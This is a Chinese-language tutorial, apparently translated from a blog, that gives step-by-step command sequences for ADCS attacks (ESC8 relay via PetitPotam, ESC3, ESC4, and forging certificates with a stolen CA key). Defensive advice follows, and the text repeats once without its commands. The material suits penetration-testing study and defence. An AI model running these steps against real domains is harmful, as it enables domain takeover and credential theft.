[翻译]ADCS攻击面详解
字数 1668 2025-08-23 18:31:34

Active Directory Certificate Services (ADCS) 攻击面详解

前言

Active Directory Certificate Services (ADCS) 是 Windows Server 的一个服务器角色,允许组织构建公钥基础设施(PKI),为内部域提供公钥加密、数字证书和数字签名功能。虽然 ADCS 提供了有价值的安全功能,但配置不当可能导致严重的安全风险,使攻击者能够获得对域的未授权访问权限。

工具准备

在开始攻击前,需要准备以下工具:

  • Certipy:用于利用多个 ADCS 配置错误的强大工具
  • PetitPotam:强制 Windows 主机进行身份验证的工具
  • Secretsdump(Impacket 中的 Python 脚本):用于转储 SAM 和 LSA 密钥,可从域控制器转储所有密码哈希
  • CrackMapExec:多功能工具,可用于凭证喷洒和转储用户凭据

攻击技术详解

攻击1:ADCS Web Enrollment 中继攻击 (ESC8)

前提条件

  • ADCS 证书颁发机构启用了 Web Enrollment
  • 攻击者拥有域用户凭据

攻击步骤

  1. 查找易受攻击的 ADCS 服务器

    certipy find -dc-ip {DC IP Address} -u {User} -p {Password} -vulnerable
    
  2. 设置中继攻击

    certipy relay -ca {Certificate Authority IP Address} -template DomainController
    

    注意:如果默认 DomainController 模板被修改,需检查可用模板并相应调整命令。

  3. 强制域控制器进行身份验证

    python3 PetitPotam.py -u {Username} -p {Password} {Listener IP Address} {Target IP Address}
    
  4. 获取域控制器机器账户证书

    • Certipy 将中继连接并获取证书
  5. 使用证书进行身份验证

    certipy auth -username {Username} -domain {Domain} -dc-ip {DC IP Address} -pfx {Certificate}
    
  6. 转储所有用户哈希

    impacket-secretsdump {Domain/Username@IP Address} -hashes {Hash}
    

注意事项

  • 如果 Web Enrollment 不监听标准端口 80(如只监听 HTTPS),可能需要使用 NTLMRelay 替代

攻击2:ESC3 攻击(基于证书模板的权限提升)

前提条件

  • 存在配置错误的证书模板(启用了"请求中的供应"选项)
  • 攻击者拥有普通域用户凭据

攻击步骤

  1. 枚举易受攻击的模板

    certipy find -dc-ip {DC IP Address} -u {Username} -p {Password} -vulnerable
    
  2. 基于易受攻击模板请求证书

    certipy req -dc-ip {DC IP Address} -u {Username} -p {Password} -target-ip {CA IP Address} -ca {CA Server Name} -template {Vulnerable Template Name}
    
  3. 请求管理员账户证书

    certipy req -u {Username} -p {Password} -ca {CA Server Name} -target {CA IP Address} -template User -on-behalf-of {Domain\Username} -pfx {Saved Certificate}
    
  4. 使用管理员证书进行身份验证

    certipy auth -pfx {Saved Administrator Certificate} -dc-ip {DC IP Address}
    
  5. 获取域控制权

    • 使用获取的哈希通过 CrackMapExec 等工具控制域

攻击3:ESC4 攻击(证书模板权限滥用)

前提条件

  • 用户对证书模板拥有过多控制权(如完全控制)

攻击步骤

  1. 枚举易受攻击的模板

    certipy find -dc-ip {DC IP Address} -u {Username} -p {Password} -vulnerable
    
  2. 修改模板使其易受 ESC1 攻击

    certipy template -u {Username} -p {Password} -template {Vulnerable Template Name} -save-old -target-ip {CA Server IP Address}
    
  3. 请求管理员账户证书

    certipy req -u {Username} -p {Password} -ca {CA Server Name} -target {CA Server IP Address} -template {Template Name} -upn {Target Username@Domain} -dc-ip {DC IP Address}
    
  4. 恢复模板配置(可选)

    certipy template -u {Username} -p {Password} -template {Template Name} -configuration {Saved Template Setting File} -dc-ip {DC IP Address}
    
  5. 使用证书进行身份验证

    certipy auth -pfx {Saved Certificate} -dc-ip {DC IP Address}
    

攻击4:CA 服务器管理员权限滥用

前提条件

  • 对 CA 服务器拥有管理员访问权限

攻击步骤

  1. 备份 CA 服务器证书和私钥

    certipy ca -backup -ca {CA Server Name} -u {Username} -p {Password} -dc-ip {DC IP Address}
    
  2. 伪造管理员账户证书

    certipy forge -ca-pfx {Name of Backup Certificate} -upn {Username@Domain} -subject 'CN=Administrator,CN=Users,DC={Domain Name},DC={Domain Top Level}'
    
  3. 使用伪造证书进行身份验证

    certipy auth -pfx {Saved Certificate} -dc-ip {DC IP Address}
    

防御建议

  1. Web Enrollment

    • 禁用不必要的 Web Enrollment
    • 确保 Web Enrollment 仅通过 HTTPS 访问
    • 实施 EPA(Extended Protection for Authentication)
  2. 证书模板

    • 限制用户对证书模板的权限
    • 禁用"请求中的供应"等危险选项
    • 定期审计证书模板配置
  3. CA 服务器

    • 严格控制对 CA 服务器的管理访问
    • 定期轮换 CA 证书
    • 实施基于角色的访问控制
  4. 监控与检测

    • 监控异常的证书请求活动
    • 检测 PetitPotam 等强制身份验证工具的使用
    • 实施证书透明度日志

参考资源

  • Microsoft ADCS 文档:https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
  • HackTricks AD 证书攻击:https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
Active Directory Certificate Services (ADCS) 攻击面详解 前言 Active Directory Certificate Services (ADCS) 是 Windows Server 的一个服务器角色,允许组织构建公钥基础设施(PKI),为内部域提供公钥加密、数字证书和数字签名功能。虽然 ADCS 提供了有价值的安全功能,但配置不当可能导致严重的安全风险,使攻击者能够获得对域的未授权访问权限。 工具准备 在开始攻击前,需要准备以下工具: Certipy :用于利用多个 ADCS 配置错误的强大工具 PetitPotam :强制 Windows 主机进行身份验证的工具 Secretsdump (Impacket 中的 Python 脚本):用于转储 SAM 和 LSA 密钥,可从域控制器转储所有密码哈希 CrackMapExec :多功能工具,可用于凭证喷洒和转储用户凭据 攻击技术详解 攻击1:ADCS Web Enrollment 中继攻击 (ESC8) 前提条件 : ADCS 证书颁发机构启用了 Web Enrollment 攻击者拥有域用户凭据 攻击步骤 : 查找易受攻击的 ADCS 服务器 : 设置中继攻击 : 注意 :如果默认 DomainController 模板被修改,需检查可用模板并相应调整命令。 强制域控制器进行身份验证 : 获取域控制器机器账户证书 : Certipy 将中继连接并获取证书 使用证书进行身份验证 : 转储所有用户哈希 : 注意事项 : 如果 Web Enrollment 不监听标准端口 80(如只监听 HTTPS),可能需要使用 NTLMRelay 替代 攻击2:ESC3 攻击(基于证书模板的权限提升) 前提条件 : 存在配置错误的证书模板(启用了"请求中的供应"选项) 攻击者拥有普通域用户凭据 攻击步骤 : 枚举易受攻击的模板 : 基于易受攻击模板请求证书 : 请求管理员账户证书 : 使用管理员证书进行身份验证 : 获取域控制权 : 使用获取的哈希通过 CrackMapExec 等工具控制域 攻击3:ESC4 攻击(证书模板权限滥用) 前提条件 : 用户对证书模板拥有过多控制权(如完全控制) 攻击步骤 : 枚举易受攻击的模板 : 修改模板使其易受 ESC1 攻击 : 请求管理员账户证书 : 恢复模板配置(可选) : 使用证书进行身份验证 : 攻击4:CA 服务器管理员权限滥用 前提条件 : 对 CA 服务器拥有管理员访问权限 攻击步骤 : 备份 CA 服务器证书和私钥 : 伪造管理员账户证书 : 使用伪造证书进行身份验证 : 防御建议 Web Enrollment : 禁用不必要的 Web Enrollment 确保 Web Enrollment 仅通过 HTTPS 访问 实施 EPA(Extended Protection for Authentication) 证书模板 : 限制用户对证书模板的权限 禁用"请求中的供应"等危险选项 定期审计证书模板配置 CA 服务器 : 严格控制对 CA 服务器的管理访问 定期轮换 CA 证书 实施基于角色的访问控制 监控与检测 : 监控异常的证书请求活动 检测 PetitPotam 等强制身份验证工具的使用 实施证书透明度日志 参考资源 Microsoft ADCS 文档:https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11) HackTricks AD 证书攻击:https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation